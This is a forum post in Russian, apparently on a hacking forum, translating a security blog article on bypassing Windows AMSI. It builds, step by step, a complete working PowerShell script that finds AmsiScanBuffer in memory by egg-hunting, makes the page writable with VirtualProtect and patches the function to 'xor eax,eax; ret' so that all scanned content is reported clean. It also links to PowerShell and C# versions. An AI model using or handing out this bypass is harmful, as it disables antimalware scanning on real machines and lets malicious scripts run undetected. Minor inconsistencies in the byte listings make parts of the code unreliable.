Статья Обход AMSI

$talk3r

RAM
Пользователь
Регистрация
25.06.2019
Сообщения
134
Реакции
133
Обход AMSI

AMSI расшифровывается как Anti-Malware Scan Interface и был представлен в Windows 10. Название достаточно понятно; это интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (на пример в Windows Defender)

Многие пентестеры, проводящие оценки на основе сценариев или оценки Red Team на основе цифровых технологий, скорее всего, сталкивались с AMSI и знакомы с его возможностями. AMSI обеспечивает повышенную защиту от использования некоторых современных инструментов, тактик и процедур (TTP), обычно используемых во время атак, так как обеспечивает повышенную прозрачность для продуктов защиты от вредоносных программ. Наиболее актуальным примером являются полезные нагрузки без файлов PowerShell, которые широко использовались как действующими субъектами угроз, так и пентестерами.

По этой причине AMSI является предметом многих исследований, и возможность обойти AMSI может стать решающим фактором между успешной и неудачной атакой. Этот пост в блоге объясняет внутреннюю работу AMSI и описывает новую технику обхода.

На протяжении всего сообщения читателю будут представлены:

  • Базовые знания Windows Internals (например, виртуальное адресное пространство, Windows API);
  • Основное использование отладчика Windows для анализа и дизассемблирования программы (в нашем случае powershell.exe);
  • Основное использование Frida для перехвата функций; а также
  • Основы сценариев PowerShell;

Как работает AMSI
Как уже упоминалось, AMSI позволяет службам и приложениям взаимодействовать с установленным антивирусом. Для этого AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы де-запутывать и анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное решение до его запуска.
Это список всех компонентов, которые реализуют AMSI в Windows 10:

  • Контроль учетных записей или UAC (повышение прав установки EXE, COM, MSI или ActiveX)
  • PowerShell (cкрипты, интерактивное использование и динамическая оценка кода)
  • Windows Script Host (wscript.exe и cscript.exe)
  • JavaScript и VBScript
  • Офисные макросы VBA

Это представление архитектуры AMSI

4224


Например,когда процесс PowerShell создан, динамичиская библиотека AMSI (Dynamic-Link Library =DLL) отображена в виртуальное адресное пространство процесса, которое представляет собой диапазон виртуальных адресов, которые Windows выделяет и делает доступным для процесса. DLL - это модуль, который содержит экспортированные и внутренние функции, которые могут использоваться другим модулем. Внутренние функции доступны из DLL, а экспортированные функции доступны из других модулей, а также из DLL. В нашем случае PowerShell будет использовать экспортированные функции из библиотеки AMSI для сканирования входных данных пользователя. Если считается безопасным, пользовательский ввод будет выполнен, в противном случае выполнение будет заблокировано, и будет зарегистрировано событие 1116 (MALWAREPROTECTION_BEHAVIOR_DETECTED).

4225


Обратите внимание, что AMSI используется не только для сканирования скриптов, кода, команды или командлетов, но может использоваться для сканирования любого файла, памяти или потока данных, таких как строки, мгновенные сообщения, изображения или видео.

Функции AMSI
Как уже упоминалось, приложения, которые реализуют AMSI, используют экспортированные функции AMSI, но какие и как? И главное, какие функции отвечают за обнаружение и, следовательно, предотвращение «вредоносного» исполнения контента?

Два метода были использованы с целью получения списка экспортируемых функций. Во-первых, элементарный список функций можно найти на веб-сайте документации Microsoft:
  • AmsiCloseSession
  • AmsiInitialize
  • AmsiOpenSession
  • AmsiResultsMalware
  • AmsiScanBuffer
  • AmsiScanString
  • AmsiUninitialize

Во-вторых, AMSI DLL можно отлаживать с помощью программного обеспечения, такого как WinDbg, которое можно использовать для обратного проектирования, разборки и динамического анализа. В нашем случае WinDbg будет подключен к процессу, на котором выполняется PowerShell, для анализа AMSI.

На следующем рисунке показан список экспортированных и внутренних функций AMSI с использованием WinDbg. Обратите внимание, что команда «x» используется для проверки символа. Файлы символов - это файлы, которые создаются при компиляции программы. Эти файлы не нужны для выполнения программы, но они содержат полезную информацию в процессе отладки, такую как глобальные и локальные переменные, а также имена и адреса функций (что является темой этого раздела).


4226


Функции теперь известны; однако это не отвечает на самый важный вопрос: какие функции или функции участвуют в обнаружении и предотвращении «вредоносного» контента?

Чтобы ответить на этот вопрос, будет использована Фрида. Frida - это динамический инструментарий инструментария, используемый для внутреннего анализа и перехвата приложений, что означает, что его можно использовать для перехвата функций с целью анализа переменных и значений, которые они передают или возвращают.

Обратите внимание, что установка и объяснение того, как работает Frida, выходит за рамки этого поста; Для получения дополнительной информации, пожалуйста, используйте официальную документацию. В нашем случае будет использоваться только инструмент «frida-trace».

Прежде всего, frida-trace будет подключен к работающему процессу PowerShell (слева внизу), и все функции с именем, начинающимся с «Amsi», будут подключены. Ключ «-P» используется для указания идентификатора процесса, ключ «-X» используется для указания модуля (DLL), а ключ «-i» используется для указания имени функции, или, в нашем случае, шаблон.

4228


Теперь, когда все эти функции перехвачены Frida, можно отслеживать то, что вызывается PowerShell, например, при наборе простой строки. Как показано ниже, вызываются как AmsiScanBuffer, так и AmsiOpenSession.

4229


frida-trace - мощный инструмент, поскольку для каждой анализируемой функции создается дополнительный файл JavaScript. В каждом файле JavaScript присутствуют две функции: «onEnter» и «onLeave».

Функция «onEnter» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией, используемой для отображения информации пользователю, списком аргументов, передаваемых функции, и глобальным объектом для inter. государственное управление.

Функция «onLeave» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией для отображения информации пользователю (так же, как onEnter), возвращаемого значения функции и глобального объекта. для межфункционального управления состоянием (аналогично onEnter).

Например, файл JavaScript по умолчанию, сгенерированный Frida для AmsiScanBuffer, выглядит следующим образом:

Код:
{
    onEnter: function (log, args, state) {
        log('AmsiScanBuffer()');
    },
   
    onLeave: function (log, retval, state) { }
}


В нашем случае файлы JavaScript функций AmsiScanBuffer и AmsiOpenSession могут быть обновлены в соответствии с их прототипом для анализа аргументов и возвращаемых значений. Прототип функции или интерфейс функции - это объявление функции, которое указывает имя функции, сигнатуру типа, параметры и их тип.

Прототип AmsiScanBuffer:

Код:
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT *result
);

Прототип AmsiOpenSession

Код:
HRESULT AmsiScanBuffer(
    HRESULT AmsiOpenSession(
    HAMSICONTEXT amsiContext,
    HAMSISESSION *amsiSession
);

AmsiScanBuffer JavaScript file (__handlers__\amsi.dll\AmsiScanBuffer.js)
Обновлено:

Код:
{
    onEnter: function (log, args, state) {
        log('[+] AmsiScanBuffer');
        log('|- amsiContext: ' + args[0]);
        log('|- buffer: ' + Memory.readUtf16String(args[1]));
        log('|- length: ' + args[2]);
        log('|- contentName: ' + args[3]);
        log('|- amsiSession: ' + args[4]);
        log('|- result: ' + args[5] + "\n");
      },
   
      onLeave: function (log, retval, state) { }
}

AmsiOpenSession JavaScript файл (__handlers__\amsi.dll\AmsiOpenSession.js) обновлен:

Код:
{
    onEnter: function (log, args, state) {
        log('[+] AmsiOpenSession');
        log('|- amsiContext: ' + args[0]);
        log('|- amsiSession: ' + args[1] + "\n");
    },
   
    onLeave: function (log, retval, state) { }
}

Обновив эти файлы, теперь можно глубже понять, что передается этим функциям. Как показано на следующем рисунке, пользовательский ввод передается в функцию AmsiScanBuffer через переменную буфера.



4230



На основании этого анализа мы можем сделать вывод, что AmsiScanBuffer является, по крайней мере, важной функцией, отвечающей за обнаружение и, следовательно, предотвращение «вредоносного» контента.
Нахождение адреса функции

Метод обхода теперь ограничен только одной функцией - AmsiScanBuffer.
В системах Windows экспортированная функция LoadLibrary из библиотеки Kernel32 используется для загрузки и сопоставления библиотеки DLL с виртуальным адресным пространством (VAS) запущенного процесса и возвращает дескриптор этой библиотеки DLL, который затем можно использовать с другими функциями. Если DLL уже сопоставлена в VAS процесса, что в нашем случае (PowerShell загружает AMSI DLL во время инициализации процесса), возвращается только дескриптор.

Windows API - это набор функций и структур данных, предоставляемых различными библиотеками DLL (например, Kernel32 или User32), которые используются приложениями и службами Windows для выполнения своих задач (например, создание файла, открытие процесса или загрузка DLL).

Чтобы получить дескриптор библиотеки AMSI DLL, можно выполнить следующий сценарий PowerShell:

Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”


4231



Экспортируемая функция GetProcAddress из библиотеки Kernel32 позволяет получить дескриптор экспортируемой функции или переменной из заданной библиотеки DLL. В нашем случае этот Windows API будет использоваться для получения адреса AmsiScanBuffer или любой другой экспортируемой функции в AMSI DLL. Это то, что Rasta Mouse сделал изначально; однако, AmsiScanBuffer, а также другие строки теперь считаются вредоносными и указывают на подделку AMSI. Следовательно, требуется другой метод.


4232


Идея состоит в том, чтобы динамически находить адрес функции AmsiScanBuffer вместо использования функции GetProcAddress для ее получения. Для этого по-прежнему требуется адрес, который будет служить отправной точкой в VAS. На данный момент может быть использована любая экспортируемая функция, которая не содержит строку «Amsi». В нашем случае был выбран DllCanUnloadNow.

Предыдущий сценарий PowerShell теперь можно обновить с помощью вызова функции GetProcAddress, чтобы получить адрес функции DllCanUnloadNow в VAS процесса. Это то, что делает следующий скрипт PowerShell.

Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

4233



Обратите внимание, что из-за рандомизации расположения адресного пространства (ASLR) адрес DllCanUnloadNow будет отличаться при каждой перезагрузке системы. В этом случае и до перезагрузки системы адрес функции равен «140717525833824». ASLR - это функция безопасности, которая рандомизирует адреса в VAS для защиты от предполагаемых областей памяти.

Кроме того, при каждой перезагрузке системы ASLR будет рандомизировать базовый адрес пространства пользователя.

Охотник за яйцами
Адрес DllCanUnloadNow можно рассматривать как точку входа в VAS процесса. Но как найти адрес AmsiScanBuffer?

На самом деле, можно пройти весь VAS в поисках определенного шаблона. Эту технику называют охотником за яйцами. Изначально охотник за яйцами состоял в разборе широкой области памяти в поисках двухбайтового шаблона (например, w00tw00t или p4ulp4ul), но в нашем случае вместо 8 байтов это будет 24 байта, 24 первых байта функции AmsiScanBuffer ,

Программное обеспечение WinDbg можно использовать для дизассемблирования функции AmsiScanBuffer, чтобы получить инструкции этой функции. Обратите внимание, что переключатель «u» предназначен для дизассемблирования указанного кода в памяти, в данном случае AmsiScanBuffer из библиотеки AMSI.

4234


Как показано на рисунке выше, 24 первых байта функции: «0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70".

Обратите внимание, что последовательность «охоты» должна быть уникальной; в противном случае этот метод вернет «случайный» адрес, который не соответствует адресу функции, который мы ищем.

Следовательно, предыдущий сценарий PowerShell можно обновить, чтобы найти уникальную последовательность из 24 байтов в VAS.
Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

[byte[]]$egg = [byte[]] (
    0x4C, 0x8B, 0xDC,         # mov     r11,rsp
    0x49, 0x89, 0x5B, 0x08,   # mov     qword ptr [r11+8],rbx
    0x49, 0x89, 0x6B, 0x10,   # mov     qword ptr [r11+10h],rbp
    0x49, 0x89, 0x73, 0x18,   # mov     qword ptr [r11+18h],rsi
    0x57,                     # push    rdi
    0x41, 0x56,               # push    r14
    0x41, 0x57,               # push    r15
    0x48, 0x83, 0xEC, 0x70    # sub     rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"

[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
    [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
    $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
    $i++
}
Write-Host "[+] Bytes: $bytes"


4235



Статический метод FindAddress из класса "Hunter" анализирует VAS, увеличивая его на адрес, переданный параметру методу, который является адресом функции DllCanUnloadNow. Затем метод использует статический метод ReadByte из класса Marshal, чтобы получить байт предоставленного адреса и сравнить его с байтами из последовательности, которую нужно найти. Наконец, он возвращает адрес функции, если последовательность была найдена.

Как показано на рисунке выше, найденные байты - это точно первые 24 байта функции AmsiScanbuffer, поэтому AmsiScanBuffer был успешно и динамически найден с использованием этого метода.

Патчинг
Теперь, когда адрес функции может быть обнаружен, следующим шагом является изменение инструкций функции, чтобы заблокировать обнаружение «вредоносного» контента.

Согласно документации Microsoft, функция AmsiScanBuffer должна возвращать HRESULT, который является целочисленным значением, указывающим результат или статус операции. В нашем случае, если функция завершится успешно, функция вернет "S_OK" (0x00000000); в противном случае будет возвращен код ошибки HRESULT.

Основная цель этой функции - вернуть, является ли контент для сканирования «чистым». Вот почему переменная «result» передается как параметр функции AmsiScanBuffer. Эта переменная имеет тип «AMSI_RESULT», который является перечислением.

Прототип перечисления выглядит следующим образом:

Код:
typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN,
    AMSI_RESULT_NOT_DETECTED,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END,
    AMSI_RESULT_DETECTED
};

Во время выполнения функции анализируемое содержимое будет отправлено провайдеру защиты от вредоносных программ, который вернет целое число от 1 до 32762 (включительно). Чем выше это число, тем выше оценивается риск. Если целое число больше или равно 32762, анализируемый контент считается вредоносным и блокируется. Затем переменная результата AMSI_RESULT будет обновлена в соответствии с возвращенным целым числом.

По умолчанию переменная находится в чистом состоянии, поэтому, если инструкции функции изменены, чтобы никогда не отправлять контент провайдеру защиты от вредоносных программ, и если возвращается «S_OK» HRESULT, контент всегда будет считаться чистым.

В сборке EAX (32-разрядная версия) и RAX (64-разрядная версия) всегда содержит возвращаемое значение функции; следовательно, если регистр EAX / RAX равен 0, и если выполняется инструкция сборки «ret», функция просто вернет HRSULT «S_OK» и не отправит контент провайдеру вредоносного ПО для анализа.

Для этого можно использовать следующий код сборки:

Код:
xor    EAX, EAX
ret

Для исправления функции AmsiScanBuffer первые байты должны быть изменены на «0x31 0xC0 0xC3» (шестнадцатеричное представление вышеприведенных инструкций по сборке). Однако перед любой модификацией область для модификации должна быть доступна для чтения / записи; в противном случае любой доступ для чтения или записи приведет к исключению нарушения прав доступа. Чтобы изменить защиту области памяти для изменения, можно использовать функцию экспорта VirtualProtect из Kernel32 DLL. Эта функция изменяет защиту памяти указанного региона.

В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.

Код:
# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.

Затем статический метод «Copy» из класса «Marshal» можно использовать для копирования (перезаписи) заданных байтов на заданный адрес. В нашем случае этот статический метод будет использоваться для применения нашего патча.

Код:
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

Наконец, функцию VirtualProtect можно использовать еще раз для повторной инициализации до исходного состояния защиты памяти.

Код:
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) |  Out-Null

Собрав все части, можно выполнить следующий и последний сценарий PowerShell, чтобы:

  • Получить дескриптор AMSI DLL;
  • Получить адрес функции DllCanUnloadNow;
  • Найдите адрес функции AmsiScanBuffer с помощью метода поиска яиц;
  • Изменить регион, чтобы изменить, чтобы читать и писать;
  • Применить патч; а также
  • Реинициализировать измененную область в исходное состояние.

Код:
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
    Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
    Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null


4236


Финальные шаги

Методика была протестирована на следующей версии Windows:

4237


Окончательный сценарий PowerShell можно найти здесь

https://gist.github.com/amonsec/986db36000d82b39c73218facc557628

Версия C#:
https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597

Перевод: $talk3r
Оригинал: https://www.contextis.com/en/blog/amsi-bypass
xss.pro (c)
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх